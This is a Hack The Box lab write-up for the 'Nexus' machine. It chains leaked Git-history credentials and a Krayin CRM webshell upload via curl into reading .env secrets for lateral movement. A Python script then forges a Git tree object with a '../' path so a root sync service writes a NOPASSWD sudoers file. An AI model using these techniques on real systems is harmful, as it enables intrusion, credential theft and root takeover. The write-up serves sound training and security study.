HACK THE BOX · PENETRATION TEST REPORT



NEXUS

Git History to Root — A Forged Tree Object Writes sudoers

★ ☆ ☆ ☆ EASY

7	1	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Virtual Host Enumeration

03 Credentials from Git History

04 Krayin CRM — Remote Code Execution

05 www-data to jones

06 Enumerating the Root Service

07 Forging a Path-Traversal Tree Object

08 Chain Summary and Conclusions

01

Executive Summary

Nexus is an Easy-rated Linux machine that chains a leaked database password from a public Git repository into a Krayin CRM admin login, a file-upload RCE to `www-data`, a second password from `.env` for lateral movement, and finally a root-run Gitea template-sync service abused through a hand-forged Git tree object that escapes its staging directory to write `/etc/sudoers.d/`.

Attack chain overview

1. Reconnaissance: `git.nexus.htb` (Gitea) and `billing.nexus.htb` (Krayin CRM).
2. A public repo's commit history leaks the database password.
3. Krayin admin login, then file-upload RCE (CVE-2026-38526) as `www-data`.
4. A second password in `.env` `su`s to `jones` — user flag captured.
5. A root `gitea-template-sync` service copies files from template repos.
6. A forged Git tree object with a `../` filename escapes to `/etc/sudoers.d/` — root captured.

02

Reconnaissance and Virtual Host Enumeration

```
nmap -p- --min-rate 2000 -Pn <TARGET_IP> -oN nmap_full.txt
echo "<TARGET_IP> nexus.htb" | sudo tee -a /etc/hosts
ffuf -u http://<TARGET_IP>/ -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline>
```

```
git.nexus.htb       -> Gitea
billing.nexus.htb   -> Krayin CRM
```

```
echo "<TARGET_IP> git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
```

03

Credentials from Git History

Gitea exposes a public repository `admin/krayin-docker-setup`. Clone it and walk the history — the deployment password was committed and later "removed", but survives in the pack:

```
git clone http://git.nexus.htb/admin/krayin-docker-setup.git
cd krayin-docker-setup && git log -p | grep -iE "password|PASS|secret"
# ... DB_PASSWORD=<REDACTED>
curl -s http://git.nexus.htb/api/v1/users/search | python3 -m json.tool
# j.matthew@nexus.htb
```

● Key observation

Git history is not a delete button — a password "removed" in a later commit is still in the pack, and `git log -p` on a public repo handed over the first foothold credential.

04

Krayin CRM — Remote Code Execution

Log into Krayin at `billing.nexus.htb` as `j.matthew@nexus.htb` with the recovered password.

⚠ Vulnerability confirmed

The admin TinyMCE upload endpoint (`/admin/tinymce/upload`) does not restrict the extension or content type — **CVE-2026-38526** — so a `.php` webshell lands in a web-served path and executes.

```
curl -s -b cookie.txt -F "file=@shell.php" "http://billing.nexus.htb/admin/tinymce/upload"
# hit the uploaded shell -> reverse shell
id
# uid=33(www-data) gid=33(www-data)
```

05

www-data to jones

The first recovered password fails for the system user, but the Krayin `.env` holds a second, different one:

```
cat /var/www/krayin/.env | grep -i "pass"
# DB_PASSWORD=<REDACTED-2>
su jones        # password: the .env DB password
cat /home/jones/user.txt
```

USER FLAG

<REDACTED>

● Key observation

Two passwords, two different secrets: the first opened the CRM, the second (in `.env`) opened the system account. Never assume a reused-looking password is the same one — test each where it belongs.

06

Enumerating the Root Service

```
systemctl cat gitea-template-sync
```

```
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
```

⚠ Vulnerability confirmed

A root, oneshot service (fired ~every minute by a timer) copies files from Gitea repositories marked as **template** into a staging directory. A root process that copies attacker-controlled files out of a repository is an arbitrary-write primitive — if the destination path can be escaped, it becomes arbitrary file write as root. `jones` has admin on Gitea (via the recovered credentials) and can create a template repository for the service to process.

07

Forging a Path-Traversal Tree Object

Git refuses a filename containing `../` through its normal plumbing (`update-index` , `fast-import` both reject the path). The bypass is to build the **tree object by hand**, where the path is raw bytes, and push it so the root service copies it with the traversal intact.

```
cd /tmp/pwn      # a clone of a template repo owned by jones
printf 'jones ALL=(ALL) NOPASSWD:ALL\n' > /tmp/sudoers_jones
BLOB=$(git hash-object -w /tmp/sudoers_jones)

python3 -c "
import hashlib, zlib, os
blob_hash = bytes.fromhex('$BLOB')
path  = b'../../../../../etc/sudoers.d/jones'
entry = b'100644 ' + path + b'\x00' + blob_hash
obj   = ('tree %d\x00' % len(entry)).encode() + entry
sha1  = hashlib.sha1(obj).hexdigest()
os.makedirs('.git/objects/' + sha1[:2], exist_ok=True)
open('.git/objects/' + sha1[:2] + '/' + sha1[2:], 'wb').write(zlib.compress(obj))
print('tree', sha1)"
# point a commit at the forged tree, push to the template repo
```

● Key observation

Git's path guards live in the porcelain, not the object format: the tree object stores a raw path, so forging it bypasses every `../` check that `update-index` / `fast-import` enforce. On its next run the root service copies the blob to the traversed path, writing `/etc/sudoers.d/jones`.

```
tail -f /var/log/template-sync.log
sudo su
cat /root/root.txt
```

ROOT FLAG

<REDACTED>

08

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Vhost fuzzing	Gitea + Krayin CRM
2	Credential disclosure	`git log -p` on public repo	DB password
3	Initial access	Krayin admin login	Authenticated CRM
4	Application RCE	File upload (CVE-2026-38526)	Shell as `www-data`
5	Lateral movement	`.env` password reuse → `su`	User flag
6	Privesc recon	Root `gitea-template-sync`	Arbitrary-write primitive
7	Privilege escalation	Forged Git tree path traversal	Root flag

Closing thoughts

Nexus is two small primitives made dangerous by trust. A public repo trusted its own deleted history, and a root service trusted the filenames inside a repository. The second is the more interesting: Git's path-traversal protection lives in its high-level commands, not in the object format, so a hand-built tree object with `../` in the filename walked straight out of the staging directory into `/etc/sudoers.d`.

Key takeaways

- Git history is not a delete button; `git log -p` recovered the first credential.
- Two passwords that look alike can be different secrets — test each where it belongs.
- An unrestricted admin upload is RCE.
- A root process that copies repo files is an arbitrary-write primitive.
- Git's `../` guards are in the porcelain, not the object format — forging a tree object bypasses them.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.